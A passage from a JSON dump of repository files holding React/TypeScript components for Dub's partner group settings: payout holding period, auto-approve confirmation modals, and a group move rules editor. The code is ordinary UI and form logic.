    "content": "\"use client\";\n\nimport { findGroupsWithMatchingRules } from \"@/lib/api/groups/find-groups-with-matching-rules\";\nimport { validateGroupMoveRules } from \"@/lib/api/groups/validate-group-move-rules\";\nimport { PAYOUT_HOLDING_PERIOD_DAYS } from \"@/lib/constants/payouts\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { useApiMutation } from \"@/lib/swr/use-api-mutation\";\nimport useGroup from \"@/lib/swr/use-group\";\nimport { useGroupMoveRules } from \"@/lib/swr/use-group-move-rules\";\nimport { GroupProps } from \"@/lib/types\";\nimport { updateGroupSchema } from \"@/lib/zod/schemas/groups\";\nimport { GroupSettingsRow } from \"@/ui/partners/groups/group-settings-row\";\nimport { Button, Checkbox, Modal, Switch } from \"@dub/ui\";\nimport { pluralize } from \"@dub/utils\";\nimport { useEffect, useState } from \"react\";\nimport { FormProvider, useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\nimport * as z from \"zod/v4\";\nimport { GroupMoveRules } from \"./group-move-rules\";\n\ntype FormData = z.infer<typeof updateGroupSchema>;\n\nexport function GroupAdditionalSettings() {\n  const { group, loading } = useGroup();\n  return (\n    <GroupAdditionalSettingsForm group={group ?? null} loading={loading} />\n  );\n}\n\nfunction GroupAdditionalSettingsForm({\n  group,\n  loading,\n}: {\n  group: GroupProps | null;\n  loading: boolean;\n}) {\n  const { groups, loading: groupsLoading } = useGroupMoveRules();\n  const { makeRequest: updateGroup, isSubmitting } = useApiMutation();\n\n  const [showConfirmAutoApproveModal, setShowConfirmAutoApproveModal] =\n    useState(false);\n  const [showConfirmHoldingPeriodModal, setShowConfirmHoldingPeriodModal] =\n    useState(false);\n  const [selectedHoldingPeriodDays, setSelectedHoldingPeriodDays] = useState<\n    number | null\n  >(null);\n\n  const form = useForm<FormData>({\n    defaultValues: {\n      moveRules: group?.moveRules ?? [],\n    },\n  });\n\n  const {\n    handleSubmit,\n    reset,\n    formState: { isDirty },\n  } = form;\n\n  useEffect(() => {\n    if (group) {\n      form.reset({ moveRules: group.moveRules ?? [] });\n    }\n  }, [group]);\n\n  const handleAutoApproveConfirm = async ({\n    applyToAllGroups,\n  }: {\n    applyToAllGroups: boolean;\n  }) => {\n    if (!group) return;\n    const currentValue = group.autoApprovePartnersEnabledAt ? true : false;\n    await updateGroup(`/api/groups/${group.id}`, {\n      method: \"PATCH\",\n      body: {\n        autoApprovePartners: !currentValue,\n        updateAutoApprovePartnersForAllGroups: applyToAllGroups,\n      },\n      onSuccess: async () => {\n        await mutatePrefix(`/api/groups/${group.slug}`);\n        setShowConfirmAutoApproveModal(false);\n        toast.success(\n          `Successfully ${currentValue ? \"disable\" : \"enable\"} auto-approve`,\n        );\n      },\n    });\n  };\n\n  const handleHoldingPeriodConfirm = async ({\n    applyToAllGroups,\n  }: {\n    applyToAllGroups: boolean;\n  }) => {\n    if (selectedHoldingPeriodDays === null || !group) return;\n\n    await updateGroup(`/api/groups/${group.id}`, {\n      method: \"PATCH\",\n      body: {\n        holdingPeriodDays: selectedHoldingPeriodDays,\n        updateHoldingPeriodDaysForAllGroups: applyToAllGroups,\n      },\n      onSuccess: async () => {\n        await mutatePrefix(`/api/groups/${group.slug}`);\n        setShowConfirmHoldingPeriodModal(false);\n        toast.success(\n          `Successfully set payout holding period to ${selectedHoldingPeriodDays} days`,\n        );\n      },\n    });\n  };\n\n  const handleHoldingPeriodCancel = () => {\n    setShowConfirmHoldingPeriodModal(false);\n    setSelectedHoldingPeriodDays(null);\n  };\n\n  const onSubmit = async (data: FormData) => {\n    if (!group) return;\n    if (data.moveRules && data.moveRules.length > 0) {\n      try {\n        validateGroupMoveRules(data.moveRules);\n      } catch (error) {\n        toast.error(error.message);\n        return;\n      }\n\n      if (groups) {\n        const groupsWithMatchingRules = findGroupsWithMatchingRules({\n          groups,\n          currentRules: data.moveRules,\n          currentGroupId: group.id,\n        });\n\n        if (groupsWithMatchingRules.length > 0) {\n          const groupNames = groupsWithMatchingRules\n            .map((g) => g.name)\n            .join(\", \");\n          toast.error(\n            `This rule is already in use by the ${groupNames} ${pluralize(\"group\", groupsWithMatchingRules.length)}. Select a different activity or amount.`,\n          );\n          return;\n        }\n      }\n    }\n\n    await updateGroup(`/api/groups/${group.id}`, {\n      method: \"PATCH\",\n      body: {\n        moveRules: data.moveRules,\n      },\n      onSuccess: async () => {\n        await mutate(`/api/groups/${group.id}`);\n        await mutatePrefix(`/api/groups/rules`);\n        reset({ moveRules: data.moveRules });\n        toast.success(\"Group move rules updated!\");\n      },\n    });\n  };\n\n  const isLoading = loading || !group;\n\n  return (\n    <>\n      {group && (\n        <>\n          <ConfirmAutoApproveModal\n            isOpen={showConfirmAutoApproveModal}\n            setIsOpen={setShowConfirmAutoApproveModal}\n            onConfirm={handleAutoApproveConfirm}\n            isSubmitting={isSubmitting}\n            currentValue={group.autoApprovePartnersEnabledAt ? true : false}\n          />\n          <ConfirmHoldingPeriodModal\n            isOpen={showConfirmHoldingPeriodModal}\n            setIsOpen={handleHoldingPeriodCancel}\n            onConfirm={handleHoldingPeriodConfirm}\n            isSubmitting={isSubmitting}\n            currentValue={group.holdingPeriodDays}\n            newValue={selectedHoldingPeriodDays}\n          />\n        </>\n      )}\n\n      <FormProvider {...form}>\n        <form onSubmit={handleSubmit(onSubmit)}>\n          <div className=\"border-border-subtle rounded-lg border\">\n            <div className=\"flex flex-col divide-y divide-neutral-200\">\n              <div className=\"px-6 py-6\">\n                <h3 className=\"text-content-emphasis text-lg font-semibold leading-7\">\n                  Additional settings\n                </h3>\n              </div>\n\n              <GroupSettingsRow\n                heading=\"Payout holding period\"\n                description=\"[Set how long to hold funds](https://dub.co/help/article/partner-payouts#payout-holding-period) before they are eligible for payout.\"\n              >\n                {isLoading ? (\n                  <div className=\"h-[38px] w-full animate-pulse rounded-md bg-neutral-200\" />\n                ) : (\n                  <select\n                    className=\"block w-full rounded-md border border-neutral-300 bg-white py-2 pl-3 pr-10 text-sm text-neutral-900 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500\"\n                    value={\n                      selectedHoldingPeriodDays !== null\n                        ? selectedHoldingPeriodDays\n                        : group!.holdingPeriodDays\n                    }\n                    onChange={(e) => {\n                      const newValue = Number(e.target.value);\n                      if (newValue !== group!.holdingPeriodDays) {\n                        setSelectedHoldingPeriodDays(newValue);\n                        setShowConfirmHoldingPeriodModal(true);\n                      }\n                    }}\n                  >\n                    {PAYOUT_HOLDING_PERIOD_DAYS.map((v) => (\n                      <option value={v} key={v}>\n                        {v} days {v === 30 && \" (recommended)\"}\n                      </option>\n                    ))}\n                  </select>\n                )}\n              </GroupSettingsRow>\n\n              <GroupSettingsRow\n                heading=\"Auto-approve\"\n                description=\"[Automatically approve](https://dub.co/help/article/program-applications#auto-approve) new partner applications to this group.\"\n              >\n                {isLoading ? (\n                  <div className=\"h-[38px] w-full animate-pulse rounded-md bg-neutral-200\" />\n                ) : (\n                  <label>\n                    <div className=\"flex select-none items-center gap-2\">\n                      <Switch\n                        checked={\n                          group!.autoApprovePartnersEnabledAt ? true : false\n                        }\n                        fn={() => setShowConfirmAutoApproveModal(true)}\n                        trackDimensions=\"radix-state-checked:bg-black focus-visible:ring-black/20\"\n                      />\n                      <span className=\"text-content-emphasis text-sm\">\n                        Enable auto-approve\n                      </span>\n                    </div>\n                  </label>\n                )}\n              </GroupSettingsRow>\n\n              <GroupSettingsRow\n                heading=\"Group move rules\"\n                description=\"[Automatically move partners to this group](https://dub.co/help/article/partner-groups#group-move-rules) when they meet specific criteria.\"\n              >\n                {isLoading ? (\n                  <div className=\"min-h-28 w-full animate-pulse rounded-md bg-neutral-200\" />\n                ) : (\n                  <GroupMoveRules />\n                )}\n              </GroupSettingsRow>\n            </div>\n\n            {!isLoading && (\n              <div className=\"border-border-subtle flex items-center justify-end rounded-b-lg border-t bg-neutral-50 px-6 py-4\">\n                <div>\n                  <Button\n                    text=\"Save changes\"\n                    className=\"h-8\"\n                    loading={isSubmitting}\n                    disabled={!isDirty || groupsLoading}\n                  />\n                </div>\n              </div>\n            )}\n          </div>\n        </form>\n      </FormProvider>\n    </>\n  );\n}\n\nfunction ConfirmAutoApproveModal({\n  isOpen,\n  setIsOpen,\n  onConfirm,\n  isSubmitting,\n  currentValue,\n}: {\n  isOpen: boolean;\n  setIsOpen: (isOpen: boolean) => void;\n  onConfirm: ({ applyToAllGroups }: { applyToAllGroups: boolean }) => void;\n  isSubmitting: boolean;\n  currentValue: boolean;\n}) {\n  const [applyToAllGroups, setApplyToAllGroups] = useState(false);\n\n  useEffect(() => {\n    if (!isOpen) {\n      setApplyToAllGroups(false);\n    }\n  }, [isOpen]);\n\n  return (\n    <Modal showModal={isOpen} setShowModal={setIsOpen}>\n      <div className=\"p-5 text-left\">\n        <h3 className=\"text-content-emphasis text-base font-semibold\">\n          Confirm {currentValue ? \"disable\" : \"enable\"} auto-approve\n        </h3>\n        <p className=\"text-content-subtle mt-1 text-sm\">\n          New applications will {currentValue ? \"not\" : \"\"} be approved\n          automatically.\n        </p>\n      </div>\n      <div className=\"border-border-subtle flex items-center justify-between gap-2 border-t px-5 py-4\">\n        <label className=\"flex w-full items-center gap-2.5 text-sm font-medium leading-none\">\n          <Checkbox\n            checked={applyToAllGroups}\n            className=\"border-border-default size-4 rounded focus:border-[var(--brand)] focus:ring-[var(--brand)] focus-visible:border-[var(--brand)] focus-visible:ring-[var(--brand)] data-[state=checked]:bg-black data-[state=indeterminate]:bg-black\"\n            onCheckedChange={(checked) => setApplyToAllGroups(Boolean(checked))}\n          />\n\n          <span className=\"text-content-emphasis text-sm\">\n            Apply to all groups\n          </span>\n        </label>\n        <div className=\"flex items-center gap-2\">\n          <Button\n            variant=\"secondary\"\n            className=\"h-8 w-fit px-3\"\n            text=\"Cancel\"\n            onClick={() => setIsOpen(false)}\n            disabled={isSubmitting}\n          />\n          <Button\n            variant=\"primary\"\n            className=\"h-8 w-fit px-3\"\n            text=\"Confirm\"\n            loading={isSubmitting}\n            onClick={() => {\n              onConfirm({ applyToAllGroups });\n            }}\n          />\n        </div>\n      </div>\n    </Modal>\n  );\n}\n\nfunction ConfirmHoldingPeriodModal({\n  isOpen,\n  setIsOpen,\n  onConfirm,\n  isSubmitting,\n  currentValue,\n  newValue,\n}: {\n  isOpen: boolean;\n  setIsOpen: (isOpen: boolean) => void;\n  onConfirm: ({ applyToAllGroups }: { applyToAllGroups: boolean }) => void;\n  isSubmitting: boolean;\n  currentValue: number;\n  newValue: number | null;\n}) {\n  const [applyToAllGroups, setApplyToAllGroups] = useState(false);\n\n  useEffect(() => {\n    if (!isOpen) {\n      setApplyToAllGroups(false);\n    }\n  }, [isOpen]);\n\n  if (newValue === null) return null;\n\n  return (\n    <Modal showModal={isOpen} setShowModal={setIsOpen}>\n      <div className=\"p-5 text-left\">\n        <h3 className=\"text-content-emphasis text-base font-semibold\">\n          Confirm payout holding period change\n        </h3>\n        <p className=\"text-content-subtle mt-1 text-sm\">\n          Change holding period from {currentValue} days to {newValue} days.\n        </p>\n      </div>\n      <div className=\"border-border-subtle flex items-center justify-between gap-2 border-t px-5 py-4\">\n        <label className=\"flex w-full items-center gap-2.5 text-sm font-medium leading-none\">\n          <Checkbox\n            checked={applyToAllGroups}\n            className=\"border-border-default size-4 rounded focus:border-[var(--brand)] focus:ring-[var(--brand)] focus-visible:border-[var(--brand)] focus-visible:ring-[var(--brand)] data-[state=checked]:bg-black data-[state=indeterminate]:bg-black\"\n            onCheckedChange={(checked) => setApplyToAllGroups(Boolean(checked))}\n          />\n\n          <span className=\"text-content-emphasis text-sm\">\n            Apply to all groups\n          </span>\n        </label>\n        <div className=\"flex items-center gap-2\">\n          <Button\n            variant=\"secondary\"\n            className=\"h-8 w-fit px-3\"\n            text=\"Cancel\"\n            onClick={() => setIsOpen(false)}\n            disabled={isSubmitting}\n          />\n          <Button\n            variant=\"primary\"\n            className=\"h-8 w-fit px-3\"\n            text=\"Confirm\"\n            loading={isSubmitting}\n            onClick={() => {\n              onConfirm({ applyToAllGroups });\n            }}\n          />\n        </div>\n      </div>\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/groups/[groupSlug]/settings/group-move-rules.tsx",
    "content": "\"use client\";\n\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport useGroup from \"@/lib/swr/use-group\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { WorkflowCondition } from \"@/lib/types\";\nimport { GroupColorCircle } from \"@/ui/partners/groups/group-color-circle\";\nimport { usePartnersUpgradeModal } from \"@/ui/partners/partners-upgrade-modal\";\nimport {\n  InlineBadgePopover,\n  InlineBadgePopoverAmountInput,\n  InlineBadgePopoverMenu,\n} from \"@/ui/shared/inline-badge-popover\";\nimport { ArrowTurnRight2, Button, UserArrowRight, Users } from \"@dub/ui\";\nimport { currencyFormatter, nFormatter } from \"@dub/utils\";\nimport { X } from \"lucide-react\";\nimport { Fragment, useMemo } from \"react\";\nimport { Controller, useFieldArray, useFormContext } from \"react-hook-form\";\n\nconst ATTRIBUTES = [\n  { key: \"totalLeads\", text: \"total leads\", type: \"number\" },\n  { key: \"totalConversions\", text: \"total conversions\", type: \"number\" },\n  { key: \"totalSaleAmount\", text: \"total revenue\", type: \"currency\" },\n  { key: \"totalCommissions\", text: \"total commissions\", type: \"currency\" },\n] as const;\n\ntype Attribute = (typeof ATTRIBUTES)[number];\ntype AttributeType = (typeof ATTRIBUTES)[number][\"type\"];\ntype RangeValue = { min: number; max?: number };\ntype ValueType = number | RangeValue | undefined;\n\nconst ATTRIBUTE_BY_KEY = Object.fromEntries(\n  ATTRIBUTES.map(({ key, text, type }) => [key, { text, type }]),\n);\n\nconst RANGE_SELECTOR_OPTIONS = [\n  { text: \"and no limit\", value: \"noLimit\" },\n  { text: \"and less than\", value: \"lessThan\" },\n];\n\nexport function GroupMoveRules() {\n  const { plan } = useWorkspace();\n\n  const { control, watch } = useFormContext<{\n    moveRules?: WorkflowCondition[];\n  }>();\n\n  const moveRules = watch(\"moveRules\") ?? [];\n\n  const {\n    fields: ruleFields,\n    append: appendRule,\n    remove: removeRule,\n    update: updateRule,\n  } = useFieldArray({\n    control,\n    name: \"moveRules\",\n    shouldUnregister: false,\n  });\n\n  const usedAttributes = useMemo(\n    () =>\n      moveRules\n        ?.map((r) => r.attribute)\n        .filter((a): a is NonNullable<typeof a> => a != null),\n    [moveRules],\n  );\n\n  const disableAddRuleButton = ruleFields.length >= ATTRIBUTES.length;\n\n  const { canUseGroupMoveRule } = getPlanCapabilities(plan);\n\n  return (\n    <>\n      {!canUseGroupMoveRule ? (\n        <GroupMoveRuleUpsell />\n      ) : ruleFields.length === 0 ? (\n        <NoGroupRule />\n      ) : (\n        <div className=\"relative flex flex-col\">\n          {ruleFields.map((field, index) => {\n            const rule = moveRules?.[index];\n            if (!rule) {\n              return null;\n            }\n\n            // Filter out attributes already used by other rules\n            const availableAttributes = ATTRIBUTES.filter(\n              (a) =>\n                a.key === rule.attribute || !usedAttributes?.includes(a.key),\n            );\n\n            return (\n              <Fragment key={field.id}>\n                <GroupRule\n                  index={index}\n                  rule={rule}\n                  availableAttributes={availableAttributes}\n                  onUpdate={(updatedRule) => {\n                    updateRule(index, {\n                      ...rule,\n                      ...updatedRule,\n                    });\n                  }}\n                  onRemove={() => {\n                    removeRule(index);\n                  }}\n                />\n\n                <div className=\"ml-6 h-4 w-px bg-neutral-200\" />\n              </Fragment>\n            );\n          })}\n\n          <GroupMoveTarget />\n        </div>\n      )}\n\n      {canUseGroupMoveRule && (\n        <Button\n          text=\"Add rule\"\n          variant=\"secondary\"\n          className=\"mt-4 h-8 w-fit rounded-lg px-3\"\n          onClick={() => {\n            appendRule({\n              attribute: undefined,\n              operator: \"gte\",\n              value: undefined,\n            } as unknown as WorkflowCondition);\n          }}\n          disabled={disableAddRuleButton}\n          disabledTooltip={\n            disableAddRuleButton\n              ? \"All rules are in use. Delete existing rules.\"\n              : undefined\n          }\n        />\n      )}\n    </>\n  );\n}\n\nfunction GroupRule({\n  rule,\n  onUpdate,\n  onRemove,\n  index,\n  availableAttributes,\n}: {\n  rule: WorkflowCondition;\n  onUpdate: (updates: Partial<WorkflowCondition>) => void;\n  onRemove: () => void;\n  index: number;\n  availableAttributes: Attribute[];\n}) {\n  const isFirst = index === 0;\n  const attributeType = ATTRIBUTE_BY_KEY[rule.attribute]?.type || \"number\";\n\n  // Determine if \"and less than\" is selected based on operator\n  // If operator is \"between\", it means \"and less than\" was selected (even if max is not set yet)\n  const isLessThanSelected = rule.operator === \"between\";\n  const selectedRangeValue = isLessThanSelected ? \"lessThan\" : \"noLimit\";\n  const selectedRangeOption = RANGE_SELECTOR_OPTIONS.find(\n    ({ value }) => value === selectedRangeValue,\n  );\n\n  const handleRangeSelectorChange = (value: \"noLimit\" | \"lessThan\") => {\n    const currentMin = getMinValue(rule.value);\n\n    if (value === \"noLimit\") {\n      onUpdate({\n        operator: \"gte\",\n        value: currentMin ?? undefined,\n      });\n    } else {\n      // Only set min if we have an actual value, otherwise create empty range\n      if (currentMin != null && currentMin > 0) {\n        onUpdate({\n          operator: \"between\",\n          value: {\n            min: currentMin,\n          } as any,\n        });\n      } else {\n        // Create range object without min (will be set when user enters value)\n        onUpdate({\n          operator: \"between\",\n          value: {} as any,\n        });\n      }\n    }\n  };\n\n  return (\n    <div className=\"flex flex-col rounded-lg border border-neutral-200 bg-white\">\n      <div className=\"flex items-center justify-between p-2.5 pr-3\">\n        <div className=\"flex items-center gap-2\">\n          <div className=\"flex size-7 shrink-0 items-center justify-center rounded-md bg-neutral-100\">\n            {isFirst ? (\n              <Users className=\"size-4 text-neutral-600\" />\n            ) : (\n              <ArrowTurnRight2 className=\"size-4 text-neutral-600\" />\n            )}\n          </div>\n          <span className=\"text-sm font-medium text-neutral-800\">\n            {isFirst ? \"If partner\" : \"And if partner\"}\n            {/* Select the attribute */}\n            <InlineBadgePopover\n              text={ATTRIBUTE_BY_KEY[rule.attribute]?.text || \"activity\"}\n              invalid={!rule.attribute}\n              buttonClassName=\"mx-1\"\n            >\n              <InlineBadgePopoverMenu\n                items={availableAttributes.map((a) => ({\n                  value: a.key,\n                  text: a.text,\n                }))}\n                selectedValue={rule.attribute}\n                onSelect={(value) => {\n                  // Reset to default gte operator when attribute changes\n                  onUpdate({\n                    ...rule,\n                    attribute: value,\n                    operator: \"gte\",\n                    value: undefined,\n                  });\n                }}\n              />\n            </InlineBadgePopover>\n            {/* Select the attribute value */}\n            {rule.attribute && (\n              <>\n                is at least\n                <InlineBadgePopover\n                  text={formatValue(rule.value, attributeType, \"min\")}\n                  invalid={\n                    !rule.value ||\n                    getMinValue(rule.value) == null ||\n                    getMinValue(rule.value) === 0\n                  }\n                  buttonClassName=\"mx-1\"\n                >\n                  <ValueInput\n                    index={index}\n                    rule={rule}\n                    attributeType={attributeType}\n                    part=\"min\"\n                    onUpdate={onUpdate}\n                  />\n                </InlineBadgePopover>\n                {/* Range selector dropdown */}\n                <InlineBadgePopover\n                  text={selectedRangeOption?.text || \"and no limit\"}\n                  buttonClassName=\"mx-1\"\n                >\n                  <InlineBadgePopoverMenu\n                    selectedValue={selectedRangeValue}\n                    onSelect={handleRangeSelectorChange}\n                    items={RANGE_SELECTOR_OPTIONS}\n                  />\n                </InlineBadgePopover>\n                {/* Max value input (only shown when \"and less than\" is selected) */}\n                {isLessThanSelected && (\n                  <InlineBadgePopover\n                    text={formatValue(rule.value, attributeType, \"max\")}\n                    invalid={\n                      getMaxValue(rule.value) == null ||\n                      getMaxValue(rule.value) === 0\n                    }\n                    buttonClassName=\"mx-1\"\n                  >\n                    <ValueInput\n                      index={index}\n                      rule={rule}\n                      attributeType={attributeType}\n                      part=\"max\"\n                      onUpdate={onUpdate}\n                    />\n                  </InlineBadgePopover>\n                )}\n              </>\n            )}\n          </span>\n        </div>\n        <button\n          type=\"button\"\n          onClick={onRemove}\n          className=\"rounded p-1 text-neutral-400 hover:bg-neutral-100 hover:text-neutral-600\"\n        >\n          <X className=\"size-4\" />\n        </button>\n      </div>\n    </div>\n  );\n}\n\nfunction GroupMoveTarget() {\n  const { group, loading } = useGroup();\n\n  return (\n    <div className=\"flex items-center gap-2 rounded-lg border border-neutral-200 p-2.5 pr-3\">\n      <div className=\"flex size-7 items-center justify-center rounded-md bg-neutral-100\">\n        <UserArrowRight className=\"size-4 text-neutral-600\" />\n      </div>\n      <span className=\"flex items-center gap-1 text-sm font-medium text-neutral-800\">\n        Move partner to\n        <div className=\"flex h-5 items-center justify-center gap-2 rounded-md bg-neutral-100 px-1.5\">\n          {loading || !group ? (\n            <span className=\"flex items-center gap-1\">\n              <div className=\"h-3 w-3 animate-pulse rounded-full bg-neutral-200\" />\n              <span className=\"h-4 w-16 animate-pulse rounded bg-neutral-200\" />\n            </span>\n          ) : (\n            <>\n              <GroupColorCircle group={group} />\n              <span className=\"text-content-default text-sm font-semibold\">\n                {group?.name}\n              </span>\n            </>\n          )}\n        </div>\n      </span>\n    </div>\n  );\n}\n\nfunction NoGroupRule() {\n  return (\n    <div className=\"flex h-24 w-full flex-col items-center justify-center rounded-lg bg-neutral-50\">\n      <UserArrowRight className=\"size-4 text-neutral-600\" />\n      <p className=\"mt-2 text-sm font-normal text-neutral-500\">\n        No group move rules set\n      </p>\n    </div>\n  );\n}\n\nfunction GroupMoveRuleUpsell() {\n  const { partnersUpgradeModal, setShowPartnersUpgradeModal } =\n    usePartnersUpgradeModal();\n\n  return (\n    <>\n      {partnersUpgradeModal}\n      <div className=\"flex h-40 w-full flex-col items-center justify-center space-y-4 rounded-lg bg-neutral-50 py-1.5\">\n        <UserArrowRight className=\"size-4 text-neutral-600\" />\n        <p className=\"text-sm font-normal text-neutral-500\">\n          Make managing partner groups even easier\n        </p>\n        <Button\n          onClick={() => setShowPartnersUpgradeModal(true)}\n          text=\"Upgrade to Advanced\"\n          className=\"h-9 w-fit rounded-lg px-3\"\n        />\n      </div>\n    </>\n  );\n}\n\nfunction ValueInput({\n  index,\n  rule,\n  attributeType,\n  part,\n  onUpdate,\n}: {\n  index: number;\n  rule: WorkflowCondition;\n  attributeType: AttributeType;\n  part: \"min\" | \"max\";\n  onUpdate: (updates: Partial<WorkflowCondition>) => void;\n}) {\n  const { control } = useFormContext<{\n    moveRules?: WorkflowCondition[];\n  }>();\n\n  const isCurrency = attributeType === \"currency\";\n  const isMin = part === \"min\";\n\n  return (\n    <Controller\n      control={control}\n      name={`moveRules.${index}.value`}\n      render={({ field }) => {\n        const currentValue = isMin\n          ? getMinValue(field.value)\n          : getMaxValue(field.value);\n        const displayValue = convertToDisplayValue(currentValue, isCurrency);\n\n        const handleChange = (e: React.ChangeEvent<HTMLInputElement>) => {\n          const inputValue = e.target.value;\n\n          if (inputValue === \"\") {\n            field.onChange(handleClearValue(field.value, isMin));\n            return;\n          }\n\n          const convertedValue = convertFromDisplayValue(\n            inputValue,\n            isCurrency,\n          );\n\n          const newValue = isMin\n            ? handleUpdateMinValue(field.value, convertedValue, rule.operator)\n            : handleUpdateMaxValue(\n                field.value,\n                convertedValue,\n                onUpdate,\n                rule.operator,\n              );\n\n          field.onChange(newValue);\n        };\n\n        return (\n          <InlineBadgePopoverAmountInput\n            type={attributeType}\n            value={displayValue}\n            onChange={handleChange}\n            onBlur={field.onBlur}\n          />\n        );\n      }}\n    />\n  );\n}\n\nconst handleClearValue = (\n  currentFieldValue: ValueType,\n  isMin: boolean,\n): ValueType | undefined => {\n  if (!isRangeValue(currentFieldValue)) {\n    return undefined;\n  }\n\n  const rangeValue = currentFieldValue as RangeValue;\n\n  if (isMin) {\n    // For min: keep max if valid, otherwise clear\n    return rangeValue.max != null && rangeValue.max > 0\n      ? ({ max: rangeValue.max } as any)\n      : undefined;\n  } else {\n    // For max: keep min if valid, otherwise clear\n    return rangeValue.min != null && rangeValue.min > 0\n      ? ({ min: rangeValue.min } as any)\n      : undefined;\n  }\n};\n\nconst handleUpdateMinValue = (\n  currentFieldValue: ValueType,\n  convertedValue: number,\n  operator: WorkflowCondition[\"operator\"],\n): ValueType => {\n  if (operator === \"between\" && isRangeValue(currentFieldValue)) {\n    const rangeValue = currentFieldValue as RangeValue;\n    return { ...rangeValue, min: convertedValue };\n  }\n  return convertedValue;\n};\n\nconst handleUpdateMaxValue = (\n  currentFieldValue: ValueType,\n  convertedValue: number,\n  onUpdate: (updates: Partial<WorkflowCondition>) => void,\n  ruleOperator: WorkflowCondition[\"operator\"],\n): ValueType => {\n  if (isRangeValue(currentFieldValue)) {\n    const rangeValue = currentFieldValue as RangeValue;\n    const min =\n      rangeValue.min != null && rangeValue.min > 0 ? rangeValue.min : undefined;\n    return (\n      min != null ? { min, max: convertedValue } : { max: convertedValue }\n    ) as any;\n  }\n\n  // Create range from current value\n  const currentMin = getMinValue(currentFieldValue);\n  const newRange =\n    currentMin != null && currentMin > 0\n      ? { min: currentMin, max: convertedValue }\n      : { max: convertedValue };\n\n  // Update operator if needed\n  if (ruleOperator === \"gte\") {\n    onUpdate({ operator: \"between\" });\n  }\n\n  return newRange as any;\n};\n\nconst getMinValue = (value: ValueType): number | null => {\n  if (typeof value === \"number\") {\n    return value;\n  }\n\n  if (typeof value === \"object\" && value !== null && value.min != null) {\n    return value.min;\n  }\n\n  return null;\n};\n\nconst getMaxValue = (value: ValueType): number | null => {\n  if (typeof value === \"object\" && value !== null && value.max != null) {\n    return value.max;\n  }\n\n  return null;\n};\n\nconst isRangeValue = (value: ValueType): value is RangeValue => {\n  return (\n    typeof value === \"object\" &&\n    value !== null &&\n    (\"min\" in value || \"max\" in value)\n  );\n};\n\nconst convertToDisplayValue = (\n  value: number | null,\n  isCurrency: boolean,\n): string => {\n  if (value == null || value === 0) return \"\";\n  return isCurrency ? String(value / 100) : String(value);\n};\n\nconst convertFromDisplayValue = (\n  displayValue: string,\n  isCurrency: boolean,\n): number => {\n  const numValue = Number(displayValue);\n  return isCurrency ? numValue * 100 : numValue;\n};\n\n// Format the value based on the attribute type\nconst formatValue = (\n  value: ValueType,\n  type: AttributeType | undefined,\n  part: \"min\" | \"max\" = \"min\",\n) => {\n  const numValue = part === \"min\" ? getMinValue(value) : getMaxValue(value);\n\n  // Show placeholder if value is null, undefined, or 0\n  if (numValue == null || numValue === 0) {\n    return part === \"min\" ? \"value\" : \"limit\";\n  }\n\n  if (type === \"currency\") {\n    return currencyFormatter(Number(numValue), {\n      trailingZeroDisplay: \"stripIfInteger\",\n    });\n  }\n\n  if (type === \"number\") {\n    return nFormatter(numValue);\n  }\n\n  return String(numValue);\n};\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/groups/[groupSlug]/settings/group-settings.tsx",
    "content": "\"use client\";\n\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { useApiMutation } from \"@/lib/swr/use-api-mutation\";\nimport useGroup from \"@/lib/swr/use-group\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { GroupProps } from \"@/lib/types\";\nimport {\n  DEFAULT_PARTNER_GROUP,\n  updateGroupSchema,\n} from \"@/lib/zod/schemas/groups\";\nimport { GroupColorPicker } from \"@/ui/partners/groups/group-color-picker\";\nimport { GroupSettingsRow } from \"@/ui/partners/groups/group-settings-row\";\nimport { Button, CopyButton } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport slugify from \"@sindresorhus/slugify\";\nimport { useRouter } from \"next/navigation\";\nimport { useEffect } from \"react\";\nimport { Controller, useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport * as z from \"zod/v4\";\n\ntype FormData = z.input<typeof updateGroupSchema>;\n\nconst GROUP_NAME_DESCRIPTION =\n  \"For internal use only, never visible to partners.\";\nconst GROUP_SLUG_DESCRIPTION =\n  \"For [program landing page](https://dub.co/help/article/program-landing-page) and internal group page URLs\";\nconst GROUP_ID_DESCRIPTION =\n  \"For setting up the [Embedded Referral Dashboard](https://dub.co/docs/partners/embedded-referrals) within your app.\";\n\nexport function GroupSettings() {\n  const { group, loading } = useGroup();\n  return <GroupSettingsForm group={group ?? null} loading={loading} />;\n}\n\nfunction GroupSettingsForm({\n  group,\n  loading,\n}: {\n  group: GroupProps | null;\n  loading: boolean;\n}) {\n  const router = useRouter();\n  const { slug } = useWorkspace();\n  const { makeRequest: updateGroup, isSubmitting } = useApiMutation();\n\n  const {\n    register,\n    handleSubmit,\n    setValue,\n    control,\n    reset,\n    formState: { errors, isDirty },\n  } = useForm<FormData>({\n    mode: \"onBlur\",\n    defaultValues: {\n      name: group?.name ?? \"\",\n      slug: group?.slug ?? \"\",\n      color: group?.color ?? null,\n    },\n  });\n\n  useEffect(() => {\n    if (group) {\n      reset({\n        name: group.name,\n        slug: group.slug,\n        color: group.color,\n      });\n    }\n  }, [group, reset]);\n\n  const onSubmit = async (data: FormData) => {\n    if (!group) return;\n    await updateGroup(`/api/groups/${group.id}`, {\n      method: \"PATCH\",\n      body: data,\n      onSuccess: async () => {\n        await mutatePrefix(\"/api/groups\");\n        if (data.slug !== group.slug) {\n          router.push(`/${slug}/program/groups/${data.slug}/settings`);\n        }\n        toast.success(\"Group updated successfully!\");\n      },\n    });\n  };\n\n  const isLoading = loading || !group;\n\n  return (\n    <form\n      onSubmit={handleSubmit(onSubmit)}\n      className=\"border-border-subtle rounded-lg border\"\n    >\n      <div className=\"flex flex-col divide-y divide-neutral-200\">\n        <div className=\"px-6 py-6\">\n          <h3 className=\"text-content-emphasis text-lg font-semibold leading-7\">\n            Group settings\n          </h3>\n        </div>\n        <GroupSettingsRow\n          heading=\"Group name\"\n          